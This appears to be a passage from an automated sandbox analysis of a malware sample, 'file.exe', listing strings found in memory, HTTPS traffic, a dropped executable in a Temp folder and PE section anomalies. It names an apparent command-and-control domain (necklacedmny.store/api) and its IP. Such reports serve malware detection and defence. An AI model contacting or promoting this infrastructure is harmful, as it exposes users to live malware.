Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2125586525.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2269665994.0000000005541000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/44
Source: file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/F
Source: file.exe, 00000000.00000003.2153345424.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177560237.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/N
Source: file.exe, 00000000.00000003.2261140386.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109232357.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177595464.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177470288.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108808833.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177415036.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2125586525.0000000000C57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153195273.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109232357.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108808833.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiL
Source: file.exe, 00000000.00000002.2263229004.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177595464.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
Source: file.exe, 00000000.00000003.2177595464.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apitey.
Source: file.exe, 00000000.00000003.2094081148.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094616323.0000000000C57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/n
Source: file.exe, 00000000.00000003.2153345424.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2177560237.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/~
Source: file.exe, 00000000.00000003.2108782152.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2111069521.0000000000C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2080882238.0000000005566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2110422004.0000000005651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name:
Source: JJZGOUTRQA0HU75NUH14KKL5I2.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C6366F	0_3_00C6366F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C6366F	0_3_00C6366F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C6366F	0_3_00C6366F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C6366F	0_3_00C6366F
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_0101795E	3_2_0101795E
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_00FF3001	3_2_00FF3001
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_00FF68B3	3_2_00FF68B3
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_00FF68AC	3_2_00FF68AC
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_01017965	3_2_01017965
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_00E75A33	3_2_00E75A33
Source: C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe	Code function: 3_2_00E6DE31	3_2_00E6DE31

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2210393122.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216107622.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234276085.00000000059D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226863693.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222702248.0000000005ADD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237457044.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260838794.0000000005532000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236206210.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216952835.00000000059DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235898000.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231881841.0000000005AF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217394965.0000000005AB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213461607.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229443016.00000000059DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213849697.00000000059D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228820083.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219878868.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230023728.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233498361.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233833064.00000000059DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219469033.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210726711.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211001355.00000000059D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236922212.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235515690.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234036348.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209950524.0000000005634000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234716587.0000000005B0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210866270.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261140386.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210600952.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212773965.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218692075.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216273004.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225308916.00000000059D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212398272.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227303139.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230274153.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210275466.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212235702.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231455249.0000000005B04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260697509.0000000005554000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220756927.0000000005BC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213231515.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259525955.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229689829.0000000005AFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213558663.00000000059D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210049794.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260658960.00000000055E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220102070.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215389295.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215593535.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212645256.0000000005A8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214535799.0000000005B69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210159688.0000000005637000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261062590.0000000000C65000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212093425.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237749338.0000000005B23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228287710.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221092969.00000000059DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215224502.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231660301.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219728925.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228965724.0000000005BEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233233994.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215800209.0000000005B7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209851374.00000000057D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230885412.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226570209.0000000005AD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261004238.0000000000C49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214111248.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230619486.0000000005AFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223741447.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238174549.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211925378.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231174997.00000000059E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229277594.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214299305.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232279906.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219605134.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235705773.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232968683.0000000005C3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213112568.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229859969.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214799238.00000000059DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211116581.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224197568.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219161656.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215975026.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212515193.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229126490.00000000059DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213982419.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236508823.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211753374.00000000059D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236705105.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232111914.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228540230.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219346148.0000000005AB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213001811.0000000005B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213658730.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221877232.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218202235.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232544893.0000000005B0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217773042.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260950756.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212887120.0000000005A87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221543421.0000000005AD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237193992.0000000005B31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213348855.00000000059DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.998046875

